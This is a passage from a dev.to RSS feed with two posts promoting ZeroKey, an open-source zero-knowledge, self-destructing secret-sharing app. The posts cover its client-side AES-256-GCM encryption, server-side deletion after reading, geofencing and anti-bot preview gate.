&lt;p&gt;Instead, the frontend communicates with Vercel Serverless Functions. Once the recipient's browser successfully decrypts the payload, it sends a destruction signal to a Vercel API route. This route uses a secure Service Role key to execute a hard &lt;code&gt;DELETE&lt;/code&gt; command on both the PostgreSQL row and the encrypted Supabase Storage blob. &lt;/p&gt;

&lt;p&gt;If a third party intercepts the link after it has been opened, there is nothing left to fetch.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Extra Security Layers
&lt;/h3&gt;

&lt;p&gt;To make the vault even more secure, I implemented:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Geofencing:&lt;/strong&gt; Senders can lock the decryption to a 50-meter radius of their current GPS coordinates using the Geolocation API.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anti-Bot Gates:&lt;/strong&gt; Social media apps (like WhatsApp or iMessage) often send bots to "preview" links, which would accidentally trigger the burn protocol. I implemented a biometric/human-verification gate before the database is ever queried.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Code
&lt;/h3&gt;

&lt;p&gt;Building this taught me more about security pipelines than any textbook. The entire project is open-source, and I would genuinely appreciate code reviews, architectural critiques, or pull requests from the community. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Live Demo:&lt;/strong&gt; &lt;a href="https://zerokey.vercel.app" rel="noopener noreferrer"&gt;zerokey.vercel.app&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Repository:&lt;/strong&gt; &lt;a href="https://github.com/kdippan/zerokey" rel="noopener noreferrer"&gt;github.com/kdippan/zerokey&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let me know what you think of the architecture in the comments. Have you ever worked with the Web Crypto API?&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>javascript</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Most secure apps still read your data. I fixed that.
Meet ZeroKey: a zero-knowledge, burn-after-reading vault. AES-256-GCM encryption runs locally. Keys never touch the server.
Live: https://zerokey.vercel.app
Code: http://github.com/kdippan/zerokey</title>
      <dc:creator>Unknown</dc:creator>
      <pubDate>Thu, 12 Mar 2026 09:48:08 +0000</pubDate>
      <link>https://dev.to/unknown_349d70ccfed8c62ee/most-secure-apps-still-read-your-data-i-fixed-that-meet-zerokey-a-zero-knowledge-1gfp</link>
      <guid>https://dev.to/unknown_349d70ccfed8c62ee/most-secure-apps-still-read-your-data-i-fixed-that-meet-zerokey-a-zero-knowledge-1gfp</guid>
      <description>&lt;p&gt;

&lt;/p&gt;
&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://zerokey.vercel.app/" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fzerokey.vercel.app%2Fassets%2Fog%2Findex.png" height="auto" class="m-0"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://zerokey.vercel.app/" rel="noopener noreferrer" class="c-link"&gt;
            ZeroKey | Secure, Zero-Knowledge Encrypted Payload Delivery
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            Share secrets without leaving a trace. Client-side encryption, zero-knowledge architecture, and self-destructing media.
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fzerokey.vercel.app%2Fassets%2Ffavicon.ico"&gt;
          zerokey.vercel.app
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;br&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://github.com/kdippan/zerokey" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fopengraph.githubassets.com%2Fdd95a50b9dfeb03444644e6ffd04a8e5821969270b788d08be8526dea3ffa1d1%2Fkdippan%2FZeroKey" height="auto" class="m-0"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://github.com/kdippan/zerokey" rel="noopener noreferrer" class="c-link"&gt;
            GitHub - kdippan/ZeroKey: ​A paranoid-grade, zero-knowledge payload delivery system. Share encrypted secrets and files that self-destruct upon reading. Built with client-side AES-256-GCM and the native Web Crypto API. · GitHub
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            ​A paranoid-grade, zero-knowledge payload delivery system. Share encrypted secrets and files that self-destruct upon reading. Built with client-side AES-256-GCM and the native Web Crypto API. - kdi...
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.githubassets.com%2Ffavicons%2Ffavicon.svg"&gt;
          github.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;




</description>
      <category>opensource</category>
      <category>privacy</category>
      <category>security</category>
      <category>showdev</category>
    </item>
  </channel>
</rss>
